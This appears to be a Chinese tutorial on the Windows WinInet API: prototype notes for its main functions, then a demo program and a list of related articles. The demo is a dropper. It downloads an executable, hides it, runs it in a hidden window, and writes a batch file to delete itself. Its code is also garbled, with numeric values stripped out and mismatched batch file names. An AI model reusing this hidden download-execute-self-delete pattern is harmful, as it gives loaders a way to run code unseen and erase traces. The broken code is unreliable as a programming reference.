InternetGetConnectedState() 简介:

功能:检索本地系统的网络连接状态。

函数原型:BOOLAPI InternetGetConnectedState(
                  LPDWORD lpdwFlags,  // 指向接收连接说明的变量的指针。
                  DWORD   dwReserved // 系统保留值,必须为 0。
                  );

参数 lpdwFlags 可获得的值:

INTERNET_CONNECTION_CONFIGURED:本地系统有个有效的网络连接,但不能判断是不是目前的连接。

INTERNET_CONNECTION_LAN:本地系统使用局域网连接到 Internet。

INTERNET_CONNECTION_MODEM:本地系统使用调制解调器连接到 Internet。

INTERNET_CONNECTION_OFFLINE:本地系统处于脱机模式。

INTERNET_CONNECTION_PROXY:本地系统使用代理服务器连接到 Internet。

INTERNET_RAS_INSTALLED:本地系统已安装 RAS。

返回值:如果有网络连接返回 TRUE,否则返回 FALSE。

InternetOpen() 简介:

功能:初始化 WinInet 库,并返回一个对话句柄。

函数原型:HINTERNET WINAPI InternetOpen(
                  LPCTSTR lpszAgent,   // 指定正在使用网络函数的应用程序名。若为 Http 时,该名称将成为用户代理。
                  DWORD dwAccessType,  // 指定所需存储的类型。
                  LPCTSTR lpszProxy,  // 当 dwAccessType 的值为 INTERNET_OPEN_TYPE_PROXY 时才有效。它指向代理服务器。
                  LPCTSTR lpszProxyBypass, // 同上,它指向一个包含不被代理的机器名或 IP 地址。
                  DWORD dwFlags // 通常为 0。
                  );

返回值:返回应用程序传递给后续 WinINet 函数的有效句柄。如果 InternetOpen 失败, 则返回 NULL。

参数 dwAccessType:

Value Description
INTERNET_OPEN_TYPE_DIRECT 在本地解析所有主机名。
INTERNET_OPEN_TYPE_PRECONFIG 从注册表检索代理或直接配置。
INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY 从注册表检索代理或直接配置, 并防止使用启动 JScript 或 Internet 安装程序 (INS) 文件。
INTERNET_OPEN_TYPE_PROXY 将请求传递给代理。

InternetConnect() 简介:

功能:完成应用程序与服务器之间的连接建立。

函数原型:void InternetConnect(
                  HINTERNET     hInternet,  // 由 InternetOpen() 返回的句柄。
                  LPCSTR      lpszServerName,  // 服务器的名字或 IP 地址。
                  INTERNET_PORT nServerPort, // 服务器提供服务使用的端口号
                  LPCSTR     lpszUserName,  // 连接服务器时可能用到的用户名。
                  LPCSTR     lpszPassword, // 连接服务器时可能用到的密码。
                  DWORD     dwService, // 指定连接的服务对象。值:INTERNET_SERVICE_FTP,INTERNET_SERVICE_HTTP。
                  DWORD     dwFlags, // 指定服务器选项。通常为 INTERNET_FLAG_RELOAD。
                  DWORD_PTR     dwContext // 应用程序指定的值,用于在回调函数返回的句柄中鉴别。通常为 0。
                  );

参数 dwFlags:通常为:INTERNET_FLAG_RELOAD。

从源服务器强制下载所要求的文件,对象,或目录列表,而不是从缓存下载。

返回值:如果连接成功, 则返回会话的有效句柄, 否则为 NULL。

InternetOpenUrl() 简介:

功能:完成与服务器的连接(简单方法)。

函数原型:HINTERNET InternetOpenUrl(
                  HINTERNET hInternet,  // 由 InternetOpen() 返回的句柄。
                  LPCSTR    lpszUrl,  // 指向 URL 的字符串。
                  LPCSTR    lpszHeaders, // 指定要发送到 HTTP 服务器的标头。可以为 NULL。
                  DWORD    dwHeadersLength, // 标头的大小。可以为 NULL。
                  DWORD    dwFlags,  // 同上。
                  DWORD_PTR dwContext  // 同上。
                 );

返回值:如果连接成功建立, 则返回 URL 的有效句柄, 如果连接失败, 则为 NULL。

HttpQueryInfo() 简介:

功能:检索与 HTTP 请求关联的标头信息。

函数原型:BOOLAPI HttpQueryInfo(
                  HINTERNET    hRequest,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                  DWORD    dwInfoLevel,  // 要检索的属性和修改请求的标志的组合。例如:HTTP_QUERY_CONTENT_LENGTH
                  LPVOID   lpBuffer,  // 指向要接收所请求信息的缓冲区的指针。此参数不能为 NULL。
                  LPDWORD    lpdwBufferLength, // 指向 lpBuffer 大小的指针变量。
                  LPDWORD    lpdwIndex // 指向从零开始的标头索引的指针,可以为 NULL。
                  );

参数 dwinfoLevel:

例如:HTTP_QUERY_CONTENT_LENGTH。接收到的资源大小,以字节为单位。

更多标志请参阅官方文档。

返回值:如果成功, 则返回 TRUE, 否则为 FALSE。

InternetQueryDataAvaliable() 简介:

功能:此函数查询可用的数据量。

函数原型:BOOL WINAPI InternetQueryDataAvailable(
                  HINTERNET hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                  LPDWORD lpdwNumberOfBytesAvailable,  // 指向接收可用字节数的变量的长指针。
                  DWORD dwFlags,  // 必须为 0。
                  DWORD dwContext // 必须为 0。
                  );

返回值:TRUE 表示成功。FALSE 表示失败。

InternetReadFile() 简介:

功能:从InternetOpenUrl() 或其他等函数返回的句柄读取数据。

函数原型:BOOLAPI InternetReadFile(
                  HINTERNET   hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                  LPVOID  lpBuffer, // 指向接收数据的缓冲区的指针。
                  DWORD    dwNumberOfBytesToRead, // 要读取的字节数。
                  LPDWORD   lpdwNumberOfBytesRead // 指向接收读取字节数的变量的指针。
                  );

返回值:如果成功, 则返回 TRUE, 否则为 FALSE。

InternetSetFilePointer() 简介:

功能:移动文件指针到指定位置。

函数原型:DWORD InternetSetFilePointer (
                  HINTERNET hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                  LONG lDistanceToMove,  // 包含移动文件指针的字节数的长整型值。
                  PVOID pReserved,  // 必须为 NULL。
                  DWORD dwMoveMethod, 初始化文件指针位置。值:FILE_BEGIN, FILE_CURRENT, FILE_END。
                  DWORD dwContext  // 必须为 0。

);

返回值:如果该函数成功, 则返回当前文件位置, 否则为–1。

InternetWriteFile() 简介:

功能:将数据写入打开的 Internet 文件。

函数原型:BOOLAPI InternetWriteFile(
                  HINTERNET hFile,  // 由 InternetOpenUrl() 或其他等函数返回的句柄。
                  LPCVOID   lpBuffer, // 指向包含要写入文件的数据的缓冲区的指针。
                  DWORD    dwNumberOfBytesToWrite, // 要写入的字节数。
                  LPDWORD   lpdwNumberOfBytesWritten // 指向接收写入文件的字节数的变量的指针。
                 );

返回值:如果函数成功, 则返回 TRUE, 否则为 FALSE。

InternetCloseHandle() 简介:

功能:关闭单个 Internet 句柄。

函数原型:BOOLAPI InternetCloseHandle(
                  HINTERNET hInternet   // 要关闭的 Internet 句柄。
                  );

返回值:如果句柄已成功关闭, 则返回 TRUE, 否则为 FALSE。

DemoCode:

#include<stdio.h>
#include<Windows.h>
#include<WinInet.h>
#pragma comment(lib,"Wininet.lib") int InternetGetFile(const char szUrl[], const char szFileName[]);
void SelfDel();
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
InternetGetFile("https://download.sublimetext.com/Sublime Text Build 3176 x64 Setup.exe",
"C:\\Users\\Public\\Downloads\\Sublime.exe");
SelfDel();
return ;
} int InternetGetFile(const char szUrl[], const char szFileName[])
{
FILE *fp;
DWORD dwSize;
HINTERNET hOpen, hConnect;
void* szTemp[];
hOpen = InternetOpen("Test", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, );
if (!hOpen)
return -;
hConnect = InternetOpenUrl(hOpen, szUrl, NULL, NULL, INTERNET_FLAG_RELOAD, );
if (!hConnect)
{
InternetCloseHandle(hOpen);
return -;
}
fp = fopen(szFileName, "wb+");
while (true)
{
if (!InternetReadFile(hConnect, szTemp, , &dwSize))
{
InternetCloseHandle(hOpen);
InternetCloseHandle(hConnect);
fclose(fp);
return -;
}
if (dwSize == )
break;
else
fwrite(szTemp, dwSize, , fp);
}
fclose(fp);
InternetCloseHandle(hOpen);
InternetCloseHandle(hConnect);
SetFileAttributes(szFileName, FILE_ATTRIBUTE_HIDDEN);
Sleep();
ShellExecute(NULL,"open",szFileName,NULL,NULL,SW_HIDE);
return ;
} void SelfDel()
{
char DirBuffer[MAX_PATH], TempBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL);
GetModuleFileName(hModule, DirBuffer, sizeof(DirBuffer));
GetFileTitle(DirBuffer, TempBuffer, MAX_PATH);
FILE *fp;
fp = fopen("system.bat", "w+");
fprintf(fp, "@echo off\r\n");
fprintf(fp, ":start\r\n\tif not exist %s goto done\r\n", TempBuffer);
fprintf(fp, "\tdel /f /q %s\r\n", TempBuffer);
fprintf(fp, "goto start\r\n");
fprintf(fp, ":done\r\n");
fprintf(fp, "\tdel /f /q %%0\r\n");
fclose(fp);
ShellExecute(NULL,"open","del.bat",NULL,NULL,SW_HIDE);
}

该执行文件将会下载 Sublime.exe,并将 Sublime.exe 隐藏起来再运行,最后删除自身。

网络编程之winInet的更多相关文章

  1. 网络编程之socket

    网络编程之socket socket:在网络编程中的一个基本组件,也称套接字. 一个套接字就是socket模块中的socket类的一个实例. 套接字包括两个: 服务器套接字和客户机套接字 套接字的实例 ...

  2. [深入浅出WP8.1(Runtime)]网络编程之HttpClient类

    12.2 网络编程之HttpClient类 除了可以使用HttpWebRequest类来实现HTTP网络请求之外,我们还可以使用HttpClient类来实现.对于基本的请求操作,HttpClient类 ...

  3. java网络编程之TCP通讯

    java中的网络编程之TCP协议的详细介绍,以及如何使用,同时我在下面举2例说明如何搭配IO流进行操作, /* *TCP *建立连接,形成传输数据的通道: *在连接中进行大数据量传输: *通过三次握手 ...

  4. python3网络编程之socketserver

    本节主要是讲解python3网络编程之socketserver,在上一节中我们讲到了socket.由于socket无法支持多用户和多并发,于是就有了socket server. socket serv ...

  5. 网络编程之UDP编程

    网络编程之UDP编程 UDP协议是一种不可靠的网络协议,它在通信的2端各建立一个Socket,但是这个Socket之间并没有虚拟链路,这2个Socket只是发送和接受数据的对象,Java提供了Data ...

  6. 网络编程之TCP编程

    网络编程之TCP编程 前面已经介绍过关于TCP协议的东西,这里不做赘述.Java对于基于TCP协议的网络通信提供了良好的封装,Java使用socket对象来代表两端的通信窗口,并通过Socket产生I ...

  7. 网络编程之socketserver

    网络编程之socketserver """ socketserver.py 中的5个基础类 +------------+ | BaseServer | +-------- ...

  8. 网络编程之Socket & ServerSocket

    网络编程之Socket & ServerSocket Socket:网络套接字,网络插座,建立网络通信连接至少要一对端口号(socket).socket本质是编程接口(API),对TCP/IP ...

  9. GO语言的进阶之路-网络编程之socket

    GO语言的进阶之路-网络编程之socket 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.什么是socket; 在说socket之前,我们要对两个概念要有所了解,就是IP和端口 ...

随机推荐

  1. 微信小程序集成腾讯云 IM SDK

    微信小程序集成腾讯云 IM SDK 1.背景 因业务功能需求需要接入IM(即时聊天)功能,一开始想到的是使用 WebSocket 来实现这个功能,然天意捉弄(哈哈)服务器版本太低不支持 wx 协议(也 ...

  2. 让Jenkins执行GitHub上的pipeline脚本

    本文是<Jenkins流水线(pipeline)实战>系列的第二篇,上一篇搭建好了Jenkins环境并执行了一个简单的pipeline任务,当时我们直接在Jenkins网页上编写pipel ...

  3. Servlet+jsp用户登录加上验证码

    最近公司有个项目被客户拿去进行漏洞扫描,发现用户登录太简单,容易被暴力破解.当然发现的问题很多,什么反射型XSS,存储型XSS,敏感信息泄露等等.但是我们今天不讲这么多,就说说如何修复暴力破解的问题. ...

  4. Python:给定一个不超过5位的正整数,判断有几位

    方法一:作比较 [root@python markPy]# cat five.py #!/usr/bin/python3 a=int(input(">>>>" ...

  5. Linux 笔记 - 第十八章 Linux 集群之(三)Keepalived+LVS 高可用负载均衡集群

    一.前言 前两节分别介绍了 Linux 的高可用集群和负载均衡集群,也可以将这两者相结合,即 Keepalived+LVS 组成的高可用负载均衡集群,Keepalived 加入到 LVS 中的原因有以 ...

  6. Android的有序广播和无序广播(解决安卓8.0版本之后有序广播的接收问题)

    前言 Google从Android8.0版本开始,对在清单文件中静态注册广播做了限制. *** 特殊广播(动态注册广播接收者) 说:有序广播和无序广播之前,咱们先来说下Android中一些特殊的广播如 ...

  7. String的优化 Stringbuffer和Stringbuilder

    string 上次说到string是最好衍生出来的一种字符类型,实现原理是由char[].我们知道数组一旦创建时不可更改的,所以每一次进行字符串的拼接都是在new一个新的字符串进行添加,这样的话对内存 ...

  8. 无法将类型为“System.Xml.XmlComment”的对象强制转换为类型“System.Xml.XmlElement”

    今天开发C#项目时,有一个需要读取XML的功能点.编码过程中遇到了如标题所示的异常,如下图所示: 查询官网后得知XmlComment是注释节点的类型,如下图所示: 于是得出结论,使用XmlDocume ...

  9. 浅谈@RestController和@Controller的区别

    在做Spring MVC开发时,如果对@RestController或者@Controller这两个注解理解不够清晰的话,就难免会出现用混的情况.而混用的结果往往是无法实现期望的跳转结果或者是直接将跳 ...

  10. Python中的MRO(方法解析顺序)[转载]

    本文转载至: http://hanjianwei.com/2013/07/25/python-mro/ 对于支持继承的编程语言来说,其方法(属性)可能定义在当前类,也可能来自于基类,所以在方法调用时就 ...